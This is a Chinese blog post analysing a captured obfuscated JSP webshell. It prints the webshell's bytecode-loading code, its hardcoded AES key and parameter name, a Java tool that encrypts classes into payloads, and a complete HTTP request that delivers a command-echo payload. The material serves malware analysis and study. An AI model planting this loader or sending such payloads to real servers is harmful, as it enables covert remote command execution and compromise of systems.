首页 > 系统相关 >记一次对某变异webshell的分析

记一次对某变异webshell的分析

时间:2023-11-06 17:00:50浏览次数:62  
标签:webshell 分析 java 字节 反编译 变异 恶意 byte

0x01 前言



在某活动中捕获到一个变异的webshell(jsp文件格式),如图1.1所示。样本webshell的大致功能是通过加载字节码来执行恶意代码,整个webshell的核心部分逻辑是在字节码中。


样本文件下载链接:

https://github.com/webraybtl/webshell1

记一次对某变异webshell的分析_反编译

图1.1 变异webshell样本


直接通过冰蝎、哥斯拉、天蝎、蚁剑这些工具来连,均没有成功,初步推测是一个改过的webshell。


0x02 初步分析



Webshell中首先定义了两个方法b64Decode和unc,分别用于base64解码和gzip解码,代码比较简单,就不做分析。Webshell中处理逻辑部分代码如下所示。

<%
    String u = "lgetwr";
    if (context.get(u) != null) {
        context.get(u).equals(new Object[]{request, response});
    } else {
        byte[] data = b64Decode("xxxx"); //替换为样本中的恶意字节码
        byte[] cbs = unc(data);
        java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0],Thread.currentThread().getContextClassLoader());
        java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}), new Class[]{byte[].class, int.class, int.class}); // new byte[]{100,101,102,105,110,101,67,108,97,115,115} 对应defineClass
        method.setAccessible(true);
        Class clazz = (Class) method.invoke(classLoader, new Object[]{cbs, new Integer(0), new Integer(cbs.length)});
        context.put(u, clazz.newInstance());
    }
%>


context是静态map类型变量,起到全局数据传递的作用。在其中定义的变量u并不是webshell的密码,而仅是map中的一个key。


当第一次访问webshell的时候,通过反射的方式调用ClassLoader类的defineClass方法,把恶意的字节码经过解码之后作为defineClass方法的参数,并生成对应的类实例对象,保存到context字典中,key为“lgetwr”。


当后续再访问webshell的时候,进入另一个if分支,直接调用恶意对象对应的equals方法,并把request和response作为参数传入。


0x03 深入分析



把样本中的恶意字节码结果解码之后保存为class文件,解码的方式直接调用webshell中的b64Decode和unc方法,直接定位到恶意类对应的equals方法,如图3.1所示。

记一次对某变异webshell的分析_反编译_02

图3.1 字节码文件中的equals方法


从反编译的代码中可以看出字节码对应的类经过了混淆和压缩,无法友好的阅读代码,更重要的是在equals中调用了this.a(long, short)方法,该方法无法被idea反编译,在idea中提示无法“couldn ' t be decompiled”,如图3.2所示。更换jd-gui来进行反编译依然无法反编译这个方法,推测可能是作者为了防止反编译做的强混淆或者使用了某些奇怪的java语法。

记一次对某变异webshell的分析_字节码_03

图3.2 IDEA工具无法反编译字节码中的关键方法


后来在找到了一个非常棒的在线反编译网站http://www.javadecompilers.com/。可以支持多种不同的反编译工具来进行反编译,依次尝试所有的反编译器,当选择CFR反编译器时可以看到得到完整的源码,如图3.3、图3.4所示。

记一次对某变异webshell的分析_java_04

图3.3 通过CFR来进行反编译

记一次对某变异webshell的分析_字节码_05

图3.4 通过CFR反编译的关键方法a


虽然CFR也提示“unable to fully structure code”,但是其实关键的代码逻辑确是可以看到的,人为修改反编译代码中的语法错误,可以对代码进行调试。


为了对字节码中的类进行debug,需要在本地新建一个与字节码中的类完全一样的类“org.apache.coyote.module.ThrowableDeserializer”。但是在调试下断点的时候报如图3.5所示的错误,显示方法中无法下断点,原因是代码中删除了行号Line numbers info is not available in class。这是由于java的混淆和压缩工具在编译的时候删除了行号,导致无法对方法中的具体内容进行调试,只能调试方法调用。

记一次对某变异webshell的分析_反编译_06

图3.5 字节码文件提示无法调试


具体到webshell的代码逻辑中,提供了两种传入参数的方式,一种是直接通过参数传递,传递的参数名是SjIHRC7oSVIE,如图3.6所示。

记一次对某变异webshell的分析_字节码_07

图3.6 通过SjIHRC7oSVIE参数传递参数


另一种方式是通过json方式传递参数,如图3.7所示。

记一次对某变异webshell的分析_java_08

图3.7 通过json方式传递恶意代码


在后续的过程中会对上一步传入的恶意代码进行AES解密,解密密钥为固定值“oszXCfTeXHpIkMS3”,如图3.8所示。

记一次对某变异webshell的分析_反编译_09

图3.8 对传入的恶意代码进行解密


Webshell最终执行恶意代码的方式还是通过defineClass加载字节码的方式来进行的,最终能够触发任意命令代码执行的方式是在调用newInstance生成类对象的时候。此webshell的执行流程大体上可以分成下面的步骤:


1、第一次访问通过defineClass固定的恶意字节码生成对应的恶意类。org.apache.coyote.module.ThrowableDeserializer对象实例。并把实例保存到全局的map中,键名为lgetwr。

2、第二次访问直接调用键名为lgetwr的对象值,调用恶意类的equals方法,并传递request和response对象。

3、在恶意类的equals方法中调用混淆后的a(long, short)方法,该方法会从解析HTTP请求,获取SjIHRC7oSVIE键名传递的动态恶意值。

4、把HTTP请求传递的动态恶意值进行AES解密,gzip解码之后传递到defineClass方法进行动态加载,生成任意恶意类对象。通过恶意类对象的构造方法或者静态代码块触发命令执行。


0x04 实际测试



在本地tomcat环境中调试对应的webshell,构建一个恶意类ExploitRCE,如图4.1所示。

记一次对某变异webshell的分析_java_10

图4.1 构建恶意的命令执行的类ExploitRCE


通过javac把对应的java代码转化为class文件,模拟webshell的处理流程对字节码文件进行加密和编码,代码如下所示。

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;


public class Test4 {


    private static final String KEY = "oszXCfTeXHpIkMS3";
    private static final String ALGORITHM = "AES";


    public static void main(String[] args) throws Exception {
        byte[] originalString = Files.readAllBytes(Paths.get("/Users/pang0lin/java/projects/SpringMVC6/target/classes/ExploitRCE.class"));
        byte[] bytes = gzipEncode(originalString);


        String encryptedString = encrypt(bytes);
        System.out.println("加密后的字符串: " + encryptedString);


    }


    public static String encrypt(byte[] strToEncrypt) throws Exception {
        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
        byte[] encryptedByteValue = cipher.doFinal(strToEncrypt);
        return Base64.getEncoder().encodeToString(encryptedByteValue);
    }


    public static byte[] decrypt(String strToDecrypt) throws Exception {
        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, secretKey);
        byte[] decodedValue = Base64.getDecoder().decode(strToDecrypt);
        byte[] decryptedByteValue = cipher.doFinal(decodedValue);
        return decryptedByteValue;
    }


    public static byte[] b(byte[] var0) throws IOException {
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        int var10000 = 0;
        ByteArrayInputStream var3 = new ByteArrayInputStream(var0);
        int var1 = var10000;
        GZIPInputStream var4 = new GZIPInputStream(var3);
        byte[] var5 = new byte[256];


        ByteArrayOutputStream var8;
        while(true) {
            int var6;
            if ((var6 = var4.read(var5)) >= 0) {
                var8 = var2;
                if (var1 != 0) {
                    break;
                }


                var2.write(var5, 0, var6);
                if (var1 == 0) {
                    continue;
                }
            }


            var8 = var2;
            break;
        }


        return var8.toByteArray();
    }


    public static byte[] gzipEncode(byte[] input) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gzipOs = new GZIPOutputStream(baos);


        gzipOs.write(input);


        gzipOs.close();
        baos.close();


        return baos.toByteArray();
    }
}


运行之后可以生成用于可以用于webshell的加密字符,如图4.2所示。

记一次对某变异webshell的分析_字节码_11

图4.2 模拟webshell加密和编码过程生成字符


通过burp发包,查看恶意代码执行过程,如图4.3所示。其中Content-Type在json方式传递时要求必须为application/json。运行之后弹出计算器,证明恶意代码执行成功。

记一次对某变异webshell的分析_字节码_12

到此已经完整复现了webshell执行命令的逻辑,但是由于命令执行没有回显结果,肯定不是作者的使用方式。


在关键的方法a(long, short)中执行newInstance创建恶意类对象之后,并没有调用对象的任意方法,并不能方便的回显命令执行结果。但是还是可以通过https://github.com/WhiteHSBG/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/TomcatEchoTemplate.java 方式来进行回显命令,原理不再分析,在之前的文章中已经进行过介绍。


用TomcatEchoTemplate类替换上传的ExploitRCE类,重新发送payload如下:

POST /i.jsp HTTP/1.1
Host: 192.168.67.26:8088
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
cmd:ifconfig
Cookie: JSESSIONID=798FA6D9C93F95975342688741748A41; 9d127d56=79851bf2
x-forwarded-for: 127.0.0.2
Connection: close
Content-Type: application/json
Content-Length: 3731


{"SjIHRC7oSVIE":"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"}

记一次对某变异webshell的分析_反编译_13

在实际使用中要求Cookie中必须包含JSESSIONID,并且每次修改后面16位的值。


0x05 结论



这是一个变异的Webshell,在实网环境中具有较好的免杀效果,但是有样本之后还是很容易分析其代码特征和流量特征。本文章样本仅做学习研究使用,请勿使用本文章提供的样本进行非法行为

标签:webshell,分析,java,字节,反编译,变异,恶意,byte
From: https://blog.51cto.com/u_15634773/8214533

相关文章

  • matlab用Logistic逻辑回归建模和马尔可夫链蒙特卡罗MCMC方法分析汽车实验数据
    原文链接:http://tecdat.cn/?p=24103原文出处:拓端数据部落公众号 此示例说明如何使用逻辑回归模型进行贝叶斯推断。统计推断通常基于最大似然估计(MLE)。MLE选择能够使数据似然最大化的参数,是一种较为自然的方法。在MLE中,假定参数是未知但固定的数值,并在一定的置信度下进......
  • R语言群组变量选择、组惩罚group lasso套索模型预测分析新生儿出生体重风险因素数据和
    原文链接:http://tecdat.cn/?p=25158原文出处:拓端数据部落公众号 本文拟合具有分组惩罚的线性回归、GLM和Cox回归模型的正则化路径。这包括组选择方法,如组lasso套索、组MCP和组SCAD,以及双级选择方法,如组指数lasso、组MCP。还提供了进行交叉验证以及拟合后可视化、总结和预测的实......
  • 羚通视频智能分析平台玩手机、打电话算法检测识别系统 玩手机、打电话行为预警系统
    羚通视频智能分析平台是一款先进的技术工具,具备强大的算法检测和识别功能。该平台主要用于准确检测和识别用户是否在使用手机或打电话。首先,该平台具备强大的算法检测功能,能通过分析视频中的图像和声音数据,准确判断用户是否在使用手机。无论是滑动屏幕、点击按钮还是......
  • 商务大数据分析是什么?答案就在这里!
    商务大数据分析是指利用大规模、多样化的数据资源,运用统计学、数据挖掘、机器学习等技术手段,对商务活动中产生的各类数据进行深入分析和解读,以获取有关商务决策的洞察和见解的过程。商务大数据分析的目标是通过对大数据的挖掘和分析,揭示商务运营中潜在的商机和风险,并为企业提供......
  • 经营数据分析需要分析哪些数据?
    经营数据分析是指对企业的经营数据进行深入分析,以发现潜在的问题、趋势和机会,从而为决策提供支持。以下是一个详细的介绍,说明在经营数据分析中需要分析的不同类型的数据。1.销售数据分析:-销售额:分析销售额的变化趋势、季节性变动、地区差异等,以了解产品或服务的销售情况。-......
  • 羚通视频智能分析平台行人入侵算法检测 重点区域人员徘徊算法检测
    羚通视频智能分析平台是一款利用视频监控进行算法分析、算法识别。该平台具备识别监控区域内行人入侵的功能,并能实时分析报警,为工厂、园区等环境提供了极其实用的安全保障。为了满足安防监控领域中的行人入侵识别需求,羚通视频智能分析平台专门研发了一种智能算法方案。这种......
  • 羚通视频智能分析平台安防视频监控算法分析 烟火检测预警
    羚通视频智能分析平台是一种基于人工智能技术的视频分析平台,旨在通过对视频内容进行智能分析和处理,提供各种视频智能应用和服务。其中,烟火算法检测是该平台中的一个功能,用于检测视频中的烟火活动。这种算法具有高精度检测、实时性强、可扩展性强、自定义配置和智能分析和预警......
  • 羚通视频智能分析平台安防视频监控算法分析 烟火检测预警
    羚通视频智能分析平台是一种基于人工智能技术的视频分析平台,旨在通过对视频内容进行智能分析和处理,提供各种视频智能应用和服务。其中,烟火算法检测是该平台中的一个功能,用于检测视频中的烟火活动。这种算法具有高精度检测、实时性强、可扩展性强、自定义配置和智能分析和预警等优......
  • 《需求分析与系统设计》阅读笔记3
     软件体系结构定义了系统中相互作用的软件构件及子系统的结构和组织形式。它提供了一种对设计的保护措施,以防止作为系统阶段的设计出现失败。因此在详细系统规格说明工作开始之前,软件开发团队必须选定全体开发人员都要遵循的体系结构模式和原则。所有软件建模的最重要目标都是......
  • linux 进程的管理和调度 --- __schedule() 函数分析
    运行队列Linux采用的是每个CPU都有自己的运行队列,这样做的好处:(1)每个CPU在自己的运行队列上选择任务降低了竞争;(2)某个任务位于一个CPU的运行队列上,经过多次调度后,内核趋于选择相同的CPU执行该任务,那么上次任务运行的变量很可能仍然在这个CPU缓存上,提高运行效率。 __schedule() ......